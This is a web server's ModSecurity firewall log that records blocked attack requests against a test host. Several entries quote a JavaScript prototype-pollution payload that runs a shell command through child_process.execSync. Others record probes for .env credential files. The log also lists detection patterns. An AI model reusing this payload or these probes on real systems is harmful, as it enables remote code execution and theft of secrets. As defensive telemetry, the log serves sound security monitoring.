[Wed Mar 04 21:57:39.280188 2026] [:error] [pid 2474843] [client 52.53.225.1:38484] [client 52.53.225.1] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=5,RFI=0,LFI=0,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aaicw84tNu0ggg3hCVdubQAAAAA&quot;]
[Fri Mar 06 00:46:12.723373 2026] [:error] [pid 2506040] [client 3.137.140.51:48578] [client 3.137.140.51] ModSecurity: Warning. Pattern match &quot;(?:\\\\$(?:\\\\((?:\\\\(.*\\\\)|.*)\\\\)|\\\\{.*\\\\})|[&lt;&gt;]\\\\(.*\\\\))&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf&quot;] [line &quot;372&quot;] [id &quot;932130&quot;] [msg &quot;Remote Command Execution: Unix Shell Expression Found&quot;] [data &quot;Matched Data: $((41*271)) found within ARGS:0: {then: $1:__proto__:then status: resolved_model reason: -1 value: {then:$b1337} _response: {_prefix: var res=process.mainmodule.require(child_process).execsync(echo $((41*271)) | base64 -w 0).tostring().trim() throw object.assign(new error(next_redirect) {digest: `next_redirect push/login?a=${res} 307 `}) _chunks: $q2 _formdata: {get: $1:constructor:constructor}}}&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-shell&quot;] [tag &quot;platform-unix&quot;] [tag &quot;attack-rce&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION&quot;] [tag &quot;WASCTC/WASC-31&quot;] [tag &quot;OWASP_TOP_10/A1&quot;] [tag &quot;PCI/6.5.2&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aaoVxE5RTcA5kK-1OV0FfgAAAAU&quot;]
[Fri Mar 06 00:46:12.724570 2026] [:error] [pid 2506040] [client 3.137.140.51:48578] [client 3.137.140.51] ModSecurity: Warning. Pattern match &quot;(?i)[\\\\s\\\\S]((?:x(?:link:href|html|mlns)|!ENTITY.*?(?:SYSTEM|PUBLIC)|data:text\\\\/html|formaction|\\\\@import|base64)\\\\b|pattern\\\\b.*?=)&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf&quot;] [line &quot;149&quot;] [id &quot;941130&quot;] [msg &quot;XSS Filter - Category 3: Attribute Vector&quot;] [data &quot;Matched Data:  base64 found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x22then\\x22:\\x22$B1337\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var res=process.mainModule.require(&#039;child_process&#039;).execSync(&#039;echo $((41*271)) | base64 -w 0&#039;).toString().trim();;throw Object.assign(new Error(&#039;NEXT_REDIRECT&#039;),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22, \\x22_chunks\\x22: \\x22$Q2\\x22, \\x22_formData\\x22: ...&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-xss&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/W [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aaoVxE5RTcA5kK-1OV0FfgAAAAU&quot;]
[Fri Mar 06 00:46:12.725162 2026] [:error] [pid 2506040] [client 3.137.140.51:48578] [client 3.137.140.51] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aaoVxE5RTcA5kK-1OV0FfgAAAAU&quot;]
[Fri Mar 06 00:46:12.725325 2026] [:error] [pid 2506040] [client 3.137.140.51:48578] [client 3.137.140.51] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=5,RFI=0,LFI=0,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aaoVxE5RTcA5kK-1OV0FfgAAAAU&quot;]
[Fri Mar 06 00:46:12.840793 2026] [:error] [pid 2506040] [client 3.137.140.51:48578] [client 3.137.140.51] ModSecurity: Warning. Pattern match &quot;(?:\\\\$(?:\\\\((?:\\\\(.*\\\\)|.*)\\\\)|\\\\{.*\\\\})|[&lt;&gt;]\\\\(.*\\\\))&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf&quot;] [line &quot;372&quot;] [id &quot;932130&quot;] [msg &quot;Remote Command Execution: Unix Shell Expression Found&quot;] [data &quot;Matched Data: $((41*271)) found within ARGS:0: {then: $1:__proto__:then status: resolved_model reason: -1 value: {then:$b1337} _response: {_prefix: var res=process.mainmodule.require(child_process).execsync(echo $((41*271)) | base64 -w 0).tostring().trim() throw object.assign(new error(next_redirect) {digest: `next_redirect push/login?a=${res} 307 `}) _chunks: $q2 _formdata: {get: $1:constructor:constructor}}}&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-shell&quot;] [tag &quot;platform-unix&quot;] [tag &quot;attack-rce&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION&quot;] [tag &quot;WASCTC/WASC-31&quot;] [tag &quot;OWASP_TOP_10/A1&quot;] [tag &quot;PCI/6.5.2&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aaoVxE5RTcA5kK-1OV0FfwAAAAU&quot;]
[Fri Mar 06 00:46:12.841126 2026] [:error] [pid 2506040] [client 3.137.140.51:48578] [client 3.137.140.51] ModSecurity: Warning. Pattern match &quot;(?i)[\\\\s\\\\S]((?:x(?:link:href|html|mlns)|!ENTITY.*?(?:SYSTEM|PUBLIC)|data:text\\\\/html|formaction|\\\\@import|base64)\\\\b|pattern\\\\b.*?=)&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf&quot;] [line &quot;149&quot;] [id &quot;941130&quot;] [msg &quot;XSS Filter - Category 3: Attribute Vector&quot;] [data &quot;Matched Data:  base64 found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x22then\\x22:\\x22$B1337\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var res=process.mainModule.require(&#039;child_process&#039;).execSync(&#039;echo $((41*271)) | base64 -w 0&#039;).toString().trim();;throw Object.assign(new Error(&#039;NEXT_REDIRECT&#039;),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22, \\x22_chunks\\x22: \\x22$Q2\\x22, \\x22_formData\\x22: ...&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-xss&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/W [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aaoVxE5RTcA5kK-1OV0FfwAAAAU&quot;]
[Fri Mar 06 00:46:12.841855 2026] [:error] [pid 2506040] [client 3.137.140.51:48578] [client 3.137.140.51] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aaoVxE5RTcA5kK-1OV0FfwAAAAU&quot;]
[Fri Mar 06 00:46:12.842011 2026] [:error] [pid 2506040] [client 3.137.140.51:48578] [client 3.137.140.51] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=5,RFI=0,LFI=0,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aaoVxE5RTcA5kK-1OV0FfwAAAAU&quot;]
[Fri Mar 06 14:13:32.418680 2026] [:error] [pid 2509774] [client 204.76.203.25:42274] [client 204.76.203.25] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aarS_EI-vXjhvhVHJYVhOAAAAAQ&quot;]
[Fri Mar 06 14:13:32.418860 2026] [:error] [pid 2509774] [client 204.76.203.25:42274] [client 204.76.203.25] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aarS_EI-vXjhvhVHJYVhOAAAAAQ&quot;]
[Fri Mar 06 14:13:32.418999 2026] [:error] [pid 2509774] [client 204.76.203.25:42274] [client 204.76.203.25] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aarS_EI-vXjhvhVHJYVhOAAAAAQ&quot;]
[Tue Mar 10 20:33:35.765890 2026] [:error] [pid 2596668] [client 93.123.109.214:59546] [client 93.123.109.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;abByD3fj8oMZaPxvti-l6gAAAAA&quot;]
[Tue Mar 10 20:33:35.767588 2026] [:error] [pid 2596668] [client 93.123.109.214:59546] [client 93.123.109.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;abByD3fj8oMZaPxvti-l6gAAAAA&quot;]
[Tue Mar 10 20:33:35.767742 2026] [:error] [pid 2596668] [client 93.123.109.214:59546] [client 93.123.109.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;abByD3fj8oMZaPxvti-l6gAAAAA&quot;]
[Tue Mar 10 20:33:35.791849 2026] [:error] [pid 2596668] [client 93.123.109.214:59546] [client 93.123.109.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;abByD3fj8oMZaPxvti-l6wAAAAA&quot;]
[Tue Mar 10 20:33:35.792024 2026] [:error] [pid 2596668] [client 93.123.109.214:59546] [client 93.123.109.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;abByD3fj8oMZaPxvti-l6wAAAAA&quot;]
[Tue Mar 10 20:33:35.792159 2026] [:error] [pid 2596668] [client 93.123.109.214:59546] [client 93.123.109.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;abByD3fj8oMZaPxvti-l6wAAAAA&quot;]
[Tue Mar 10 20:33:35.815141 2026] [:error] [pid 2596668] [client 93.123.109.214:59546] [client 93.123.109.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;abByD3fj8oMZaPxvti-l7AAAAAA&quot;]
[Tue Mar 10 20:33:35.815236 2026] [:error] [pid 2596668] [client 93.123.109.214:59546] [client 93.123.109.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;abByD3fj8oMZaPxvti-l7AAAAAA&quot;]
[Tue Mar 10 20:33:35.815379 2026] [:error] [pid 2596668] [client 93.123.109.214:59546] [client 93.123.109.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;abByD3fj8oMZaPxvti-l7AAAAAA&quot;]
[Tue Mar 10 20:33:35.815522 2026] [:error] [pid 2596668] [client 93.123.109.214:59546] [client 93.123.109.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;abByD3fj8oMZaPxvti-l7AAAAAA&quot;]
[Tue Mar 10 20:33:35.844143 2026] [:error] [pid 2596668] [client 93.123.109.214:59546] [client 93.123.109.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;abByD3fj8oMZaPxvti-l7QAAAAA&quot;]
[Tue Mar 10 20:33:35.844310 2026] [:error] [pid 2596668] [client 93.123.109.214:59546] [client 93.123.109.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;abByD3fj8oMZaPxvti-l7QAAAAA&quot;]
[Tue Mar 10 20:33:35.844449 2026] [:error] [pid 2596668] [client 93.123.109.214:59546] [client 93.123.109.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;abByD3fj8oMZaPxvti-l7QAAAAA&quot;]
[Tue Mar 10 20:33:35.865075 2026] [:error] [pid 2596668] [client 93.123.109.214:59546] [client 93.123.109.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /backend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;abByD3fj8oMZaPxvti-l7gAAAAA&quot;]
[Tue Mar 10 20:33:35.865223 2026] [:error] [pid 2596668] [client 93.123.109.214:59546] [client 93.123.109.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;abByD3fj8oMZaPxvti-l7gAAAAA&quot;]
[Tue Mar 10 20:33:35.865353 2026] [:error] [pid 2596668] [client 93.123.109.214:59546] [client 93.123.109.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;abByD3fj8oMZaPxvti-l7gAAAAA&quot;]
[Tue Mar 10 20:33:35.886110 2026] [:error] [pid 2596668] [client 93.123.109.214:59546] [client 93.123.109.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /admin/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;abByD3fj8oMZaPxvti-l7wAAAAA&quot;]
[Tue Mar 10 20:33:35.886251 2026] [:error] [pid 2596668] [client 93.123.109.214:59546] [client 93.123.109.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;abByD3fj8oMZaPxvti-l7wAAAAA&quot;]
